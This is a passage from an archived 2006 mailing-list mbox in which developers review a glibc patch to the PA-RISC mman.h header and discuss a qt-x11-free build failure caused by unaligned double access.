	with ESMTP id 17071-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 22:49:10 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 47A217D7A2
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 24 Aug 2006 22:49:10 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 6FA3E646D7
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 04:49:08 +0000 (UTC)
Original-Received: (qmail 24423 invoked from network); 25 Aug 2006 00:47:58 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 25 Aug 2006 00:47:58 -0400
User-Agent: KMail/1.9.4
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NfCHK2ZYMydyf4igZWplj4NraGRhZlqE
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23900

--Boundary-00=_aGo7E0945UorO7p
Content-Type: multipart/signed; boundary="nextPart1482137.g61oAZcn8k";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1482137.g61oAZcn8k
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

Carlos: for future hppa patches, would you prefer i send to libc-ports or t=
o=20
the parisc list ?

this patch is against latest mman.h in the ports cvs ... the one in the par=
isc=20
cvs is a little bit more outdated
=2Dmike

--nextPart1482137.g61oAZcn8k
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARO6BmkFjO5/oN/WBAQJTxRAAiPIXi+GmFr1xxCHkDffvtMgpvq7Q7F1X
gt3Kel7L9dZkOQ7V/ZFepcWGtZB/h6ck1FuGbwGF4cHzRi305MJKIBBZLRzbhG2V
5rAAsdzQZpH8Om7OekmfJsqBIAwGqY28DNeZHOo/bTvINpmiH2OUJlYL3EUG71EA
HXjgzlB/zZqEjsPUd9r4gyf7PQym/rdSj95mrDNK7H/aAzt07sQ0d9Nfq6QB+UwR
ttVmCx7PJ8QakZG3heLKiP7lA9e1DnRchMhvkzy6U3Yyp3QrpxcxufVsJJmTqMN0
PfhID8TBhGXCqCSaRpOGcjnnM8MCse7zUJGDKeF8D5mCC9AXmg2alt3V+QSFy2ct
0Fdd+PLWPSJDyl2+DW2/JUoY2W2FL4vkLMUd+/K4F15/IhzMJE4UxF0U3HfapBsz
+gwvbpu6OU5tm6UdpXKocFDKmLv0xWqgRlTThr99LLq1Nq1plaKwoKf4q2iw8f0x
xDBi7uuFv9VmH0kZvaMsiusiHTCoSRK1HYSXpo3CZlzn4awAPCL48hdKN1ffnyG+
EnyiCSs3O67q3sNXCG80PQ7Vnx3sxC1CKb9ltiK2j2oYL3ld3th7LqGE0DD9hrtb
i1WWDY1LhZHwHLiDr5WQcTxa/GOWGeLg3u9KFifMBVKim19tuo2G2HUXY4kSXjlt
vpBmouFEZ9M=
=E8t1
-----END PGP SIGNATURE-----

--nextPart1482137.g61oAZcn8k--

--Boundary-00=_aGo7E0945UorO7p
Content-Type: text/x-diff; charset="us-ascii";
	name="hppa-mman-header-update.patch"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline;
	filename="hppa-mman-header-update.patch"

Index: sysdeps/unix/sysv/linux/hppa/bits/mman.h
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
RCS file: /cvs/glibc/ports/sysdeps/unix/sysv/linux/hppa/bits/mman.h,v
retrieving revision 1.5
diff -u -p -r1.5 mman.h
=2D-- sysdeps/unix/sysv/linux/hppa/bits/mman.h	24 May 2006 15:31:25 -0000	1=
=2E5
+++ sysdeps/unix/sysv/linux/hppa/bits/mman.h	25 Aug 2006 04:46:25 -0000
@@ -34,40 +34,66 @@
=20
 #define MAP_SHARED	0x01		/* Share changes */
 #define MAP_PRIVATE	0x02		/* Changes are private */
=2D#define MAP_TYPE	0x03		/* Mask for type of mapping */
+#ifdef __USE_MISC
+# define MAP_TYPE	0x03		/* Mask for type of mapping */
+#endif
+
+/* Other flags.  */
 #define MAP_FIXED	0x04		/* Interpret addr exactly */
=2D#define MAP_ANONYMOUS	0x10		/* don't use a file */
+#ifdef __USE_MISC
+# define MAP_FILE	0
+# define MAP_ANON	MAP_ANONYMOUS
+# define MAP_ANONYMOUS	0x10		/* don't use a file */
+#endif
=20
=2D#define MAP_DENYWRITE	0x0800		/* ETXTBSY */
=2D#define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
=2D#define MAP_LOCKED	0x2000		/* pages are locked */
=2D#define MAP_NORESERVE	0x4000		/* don't check for reservations */
=2D#define MAP_GROWSDOWN	0x8000		/* stack-like segment */
=2D#define MAP_POPULATE	0x10000		/* populate (prefault) pagetables */
=2D#define MAP_NONBLOCK	0x20000		/* do not block on IO */
+/* These are Linux-specific.  */
+#ifdef __USE_MISC
+# define MAP_DENYWRITE	0x0800		/* ETXTBSY */
+# define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
+# define MAP_LOCKED	0x2000		/* pages are locked */
+# define MAP_NORESERVE	0x4000		/* don't check for reservations */
+# define MAP_GROWSDOWN	0x8000		/* stack-like segment */
+# define MAP_POPULATE	0x10000		/* populate (prefault) pagetables */
+# define MAP_NONBLOCK	0x20000		/* do not block on IO */
+#endif
=20
+/* Flags to `msync'.  */
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
 #define MS_INVALIDATE	4		/* invalidate the caches */
=20
=2D#define MCL_CURRENT	1		/* lock all current mappings */
=2D#define MCL_FUTURE	2		/* lock all future mappings */
+/* Flags for `mlockall'.  */
+#define MCL_CURRENT	1		/* Lock all currently mapped pages.  */
+#define MCL_FUTURE	2		/* Lock all additions to address
+					   space.  */
=20
=2D/* Advice to "madvise" */
+/* Flags for `mremap'.  */
+#ifdef __USE_GNU
+# define MREMAP_MAYMOVE 1
+# define MREMAP_FIXED	2
+#endif
+
+/* Advice to `madvise'.  */
 #ifdef __USE_BSD
=2D# define MADV_NORMAL	  0	/* no further special treatment */
=2D# define MADV_RANDOM	  1	/* expect random page references */
=2D# define MADV_SEQUENTIAL  2	/* expect sequential page references */
=2D# define MADV_WILLNEED	  3	/* will need these pages */
=2D# define MADV_DONTNEED	  4	/* dont need these pages */
=2D# define MADV_SPACEAVAIL  5	/* insure that resources are reserved */
=2D# define MADV_VPS_PURGE	  6	/* Purge pages from VM page cache */
=2D# define MADV_VPS_INHERIT 7	/* Inherit parents page size */
=2D# define MADV_REMOVE	  9	/* Remove these pages and resources.  */
+# define MADV_NORMAL	 0	/* No further special treatment.  */
+# define MADV_RANDOM	 1	/* Expect random page references.  */
+# define MADV_SEQUENTIAL 2	/* Expect sequential page references.  */
+# define MADV_WILLNEED	 3	/* Will need these pages.  */
+# define MADV_DONTNEED	 4	/* Don't need these pages.  */
+# define MADV_REMOVE	 9	/* Remove these pages and resources.  */
 # define MADV_DONTFORK	 10	/* Do not inherit across fork.  */
 # define MADV_DOFORK	 11	/* Do inherit across fork.  */
 #endif
=20
+/* The POSIX people had to invent similar names for the same things.  */
+#ifdef __USE_XOPEN2K
+# define POSIX_MADV_NORMAL	0 /* No further special treatment.  */
+# define POSIX_MADV_RANDOM	1 /* Expect random page references.  */
+# define POSIX_MADV_SEQUENTIAL	2 /* Expect sequential page references.  */
+# define POSIX_MADV_WILLNEED	3 /* Will need these pages.  */
+# define POSIX_MADV_DONTNEED	4 /* Don't need these pages.  */
+#endif
+
 /* The range 12-64 is reserved for page size specification. */
 #define MADV_4K_PAGES   12              /* Use 4K pages  */
 #define MADV_16K_PAGES  14              /* Use 16K pages */
@@ -77,16 +103,3 @@
 #define MADV_4M_PAGES   22              /* Use 4 Megabyte pages */
 #define MADV_16M_PAGES  24              /* Use 16 Megabyte pages */
 #define MADV_64M_PAGES  26              /* Use 64 Megabyte pages */
=2D
=2D/* compatibility flags */
=2D#define MAP_ANON	MAP_ANONYMOUS
=2D#define MAP_FILE	0
=2D#define MAP_VARIABLE	0
=2D
=2D/* Flags for `mremap'.  */
=2D#ifdef __USE_GNU
=2D# define MREMAP_MAYMOVE 1
=2D# define MREMAP_FIXED	2
=2D#endif
=2D
=2D

--Boundary-00=_aGo7E0945UorO7p
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--Boundary-00=_aGo7E0945UorO7p--



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Bug#342545: qt-x11-free FTBFS
Date: Thu, 24 Aug 2006 20:56:40 -0400 (EDT)
Lines: 46
Approved: news@gmane.org
Message-ID: <200608250056.k7P0ueLs024447__17693.4578609236$1416624156$gmane$org@hiauly1.hia.nrc.ca>
References: <20060824002245.GL7375@mauritius.dodds.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624156 20702 80.91.229.3 (22 Nov 2014 02:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:36 +0000 (UTC)
Cc: kyle@debian.org,
 342545@bugs.debian.org,
 chrsmrtn@debian.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org
To: vorlon@debian.org (Steve Langasek)
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2006 01:25:17 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [70.103.162.31]
  by mx0.gmx.net (mx074) with SMTP; 25 Aug 2006 03:25:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 71B6A2E519; Thu, 24 Aug 2006 20:25:15 -0500 (CDT)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 632A82E4B6
	for <debian-hppa@lists.debian.org>; Thu, 24 Aug 2006 19:57:59 -0500 (CDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7) with ESMTP id k7P0uf4V024448;
	Thu, 24 Aug 2006 20:56:41 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.13.7/8.13.7/Submit) id k7P0ueLs024447;
	Thu, 24 Aug 2006 20:56:40 -0400 (EDT)
In-Reply-To: <20060824002245.GL7375@mauritius.dodds.net> from "Steve Langasek" at Aug 23, 2006 05:22:45 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2006-04-09_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2006-04-09_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.9 required=4.0 tests=AWL,IMPRONONCABLE_2 
	autolearn=no version=3.0.3
Resent-Message-ID: <ou6Pk.A.W3G.7Fl7EB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5435
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 24 Aug 2006 20:25:15 -0500 (CDT)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: T2fbdWcIbUkoDenGPWgnichkZ2hlNwqJ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23901

> That would be wonderful if you, or another hppa porter, could track down
> where the bug lies.  libgcc2 is almost certainly the wrong package, since
> nothing should be *using* libgcc2 in a fresh build of qt-x11-free; it may be
> a bug in libgcc4 instead, but I think that's yet to be determined.  In the
> meantime, I think it's best to reassign this back to qt-x11-free.

This might be a nan bug.  There is one GCC nan fix that's only
installed on the trunk:

2006-05-24  John David Anglin  <dave.anglin@nrc-cnrc.gc.ca>

	PR target/27627
	* pa/pa-modes.def: Use mips_single_format, mips_double_format and
	mips_quad_format formats instead of ieee_single_format,
	ieee_double_format and ieee_quad_format formats, respectively.

However, I think the real bug is here:

> > 0x40cb2150 in negNan () at tools/qlocale.cpp:131
> > 131                 *((const double *) le_neg_nan_bytes));

PA-RISC requires strict alignment and it's highly likely that
the pointer le_neg_nan_bytes isn't aligned to an eight byte
boundary.  You could see the faulting insn by disassembling
around 0x40cb2150 to be sure.  The nan problem fixed by the
above change would cause a SIGFPE instead of a SIGBUS.

I'm fairly certain we have a bug in handling unaligned fixups
for doubles in the kernel.  This caused a problem for libffi.
This depends on whether the kernel is 32/64 bits.

As Kyle pointed out, unaligned fixups by the kernel are expensive
and they should be avoided.  tools/qlocale.cpp appears to be a
qt-x11-free routine, so I agree that the reassignment was correct.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:35:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: update mman.h in latest glibc cvs
Date: Fri, 25 Aug 2006 16:01:36 -0400
Lines: 41
Approved: news@gmane.org
Message-ID: <119aab440608251301i8096348u60a567f795dc2ded@mail.gmail.com>
References: <200608250050.34940.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=ISO-8859-1;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624156 20707 80.91.229.3 (22 Nov 2014 02:42:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:36 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Mike Frysinger" <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 25 Aug 2006 20:01:45 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx043) with SMTP; 25 Aug 2006 22:01:45 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 130237D798;
	Fri, 25 Aug 2006 14:01:43 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02538-08; Fri, 25 Aug 2006 14:01:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CD0F97D780;
	Fri, 25 Aug 2006 14:01:40 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 325637D778
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 14:01:38 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02315-09 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 14:01:37 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.230])
	by free.linux.hp.com (Postfix) with ESMTP id F1B117D755
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 14:01:36 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i7so326183wra
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 13:01:36 -0700 (PDT)
DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=okxlQiocaOy0CBLUikVDbswOIpi2NuXzLe5ZmyxZ51JMSAzypv6Gr/WHJ3liPghNHkSWZWQc9v1NbDHE0kpjK97HcGuKDYhCEWgW1ZklSFPKS7UpcZzidyYKKcX9Tp/1ScqHBG962OAqi5fCibJk/R8sYHW8t4QrfOhMlz7HUe8=
Original-Received: by 10.90.115.9 with SMTP id n9mr775123agc;
	Fri, 25 Aug 2006 13:01:36 -0700 (PDT)
Original-Received: by 10.90.54.16 with HTTP; Fri, 25 Aug 2006 13:01:36 -0700 (PDT)
In-Reply-To: <200608250050.34940.vapier@gentoo.org>
Content-Disposition: inline
X-Google-Sender-Auth: 369b34e45f7ca2c5
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: fTKdZHcBeSE5SL6WZHQhvqF2IGRvb8BU
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23902

On 8/25/06, Mike Frysinger <vapier@gentoo.org> wrote:
> Carlos: for future hppa patches, would you prefer i send to libc-ports or to
> the parisc list ?
>
> this patch is against latest mman.h in the ports cvs ... the one in the parisc
> cvs is a little bit more outdated

I'm the libc-ports hppa maintainer, and posting to libc-ports is the
correct procedure. If you would like you can also CC parisc-linux to
keep people up to date on changes.

There are a couple of problems with your patch:
1. You need a ChangeLog.
2. You will need FSF assignments if you don't already have them for GLIBC.
3. Feel free to respond to the following..

The following is a bug.
+# define MAP_ANON	MAP_ANONYMOUS
+# define MAP_ANONYMOUS	0x10		/* don't use a file */

Please avoid superflous style changes.
-/* Advice to "madvise" */
+/* Advice to `madvise'.  */

Are you sure nothing uses these?
-#define MAP_VARIABLE	0
-# define MADV_VPS_PURGE	  6	/* Purge pages from VM page cache */
-# define MADV_VPS_INHERIT 7	/* Inherit parents page size */

Thanks for working on updating mman.h!
What we really need is people building glibc and debugging 'make -k
check' failures! :)

Cheers,
Carlos.
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:02 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: update mman.h in latest glibc cvs
Date: Sat, 26 Aug 2006 00:59:00 -0400
Organization: wh0rd.org
Lines: 87
Approved: news@gmane.org
Message-ID: <200608260059.00980.vapier@gentoo.org>
References: <200608250050.34940.vapier@gentoo.org>
	<119aab440608251301i8096348u60a567f795dc2ded@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1181580365=="
X-Trace: ger.gmane.org 1416624157 20709 80.91.229.3 (22 Nov 2014 02:42:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:42:37 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "Carlos O'Donell" <carlos@systemhalted.org>
Original-X-From: - Wed Jul 02 21:27:33 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 26 Aug 2006 04:57:41 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx087) with SMTP; 26 Aug 2006 06:57:41 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D3BB57D755;
	Fri, 25 Aug 2006 22:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08555-08; Fri, 25 Aug 2006 22:57:36 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 22E047D778;
	Fri, 25 Aug 2006 22:57:35 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 991187D74B
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 22:57:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08555-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 22:57:31 -0600 (MDT)
Original-Received: from smtp.gentoo.org (smtp.gentoo.org [140.211.166.183])
	by free.linux.hp.com (Postfix) with ESMTP id 512F57D747
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 25 Aug 2006 22:57:31 -0600 (MDT)
Original-Received: from home.wh0rd.org (localhost [127.0.0.1])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by smtp.gentoo.org (Postfix) with ESMTP id 9EEC564730
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 26 Aug 2006 04:57:29 +0000 (UTC)
Original-Received: (qmail 7215 invoked from network); 26 Aug 2006 00:56:00 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 26 Aug 2006 00:56:00 -0400
User-Agent: KMail/1.9.4
In-Reply-To: <119aab440608251301i8096348u60a567f795dc2ded@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 9OLadWEIbUkoDenGPWgn2+JkZ2hlN0pc
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23903

--===============1181580365==
Content-Type: multipart/signed; boundary="nextPart1993912.nTLlEV5XPA";
	protocol="application/pgp-signature"; micalg=pgp-sha1
Content-Transfer-Encoding: 7bit

--nextPart1993912.nTLlEV5XPA
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Content-Disposition: inline

On Friday 25 August 2006 16:01, Carlos O'Donell wrote:
> 1. You need a ChangeLog.

indeed ... i wanted to see if the patch was correct first as writing Change=
Log=20
entries is boring ;)

> 2. You will need FSF assignments if you don't already have them for GLIBC.

i dont have in place specifically for glibc, ive just contributed my previo=
us=20
things as "small" and/or "obvious" ... i can simply release into the public=
=20
domain; all that matters to me is that things get fixed

> The following is a bug.
> +# define MAP_ANON	MAP_ANONYMOUS
> +# define MAP_ANONYMOUS	0x10		/* don't use a file */

yes, that should be reversed

> Please avoid superflous style changes.

it isnt superfluous, it is the "GNU standard" and the way all other arch=20
mman.h headers are done ... so while i personally consider the GNU coding=20
standard complete garbage, glibc is a GNU project and adheres pretty rigidl=
y=20
to the GNU coding standard

> Are you sure nothing uses these?
> -#define MAP_VARIABLE	0
> -# define MADV_VPS_PURGE	  6	/* Purge pages from VM page cache */
> -# define MADV_VPS_INHERIT 7	/* Inherit parents page size */

i was syncing to other architectures ... but since parisc is the only one (=
in=20
the kernel headers) that defines these three, i guess it's appropriate to=20
keep them for parisc
=2Dmike

--nextPart1993912.nTLlEV5XPA
Content-Type: application/pgp-signature

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)

iQIVAwUARO/VFEFjO5/oN/WBAQJtpxAAzH2pPz8DLS61WA1JxutCB5m0FeER6F2s
fRE3bgiETFFsAQlBg++xg4+3pQgphgsBD8XLO83AMJmMLZIDXAb6amzUuFFRk1U3
3daGTMGzdB9ob1chDCVhao3rHyckH8WY7+LweqsBToLH/gY/n2p+chlbDwV5ZYnJ
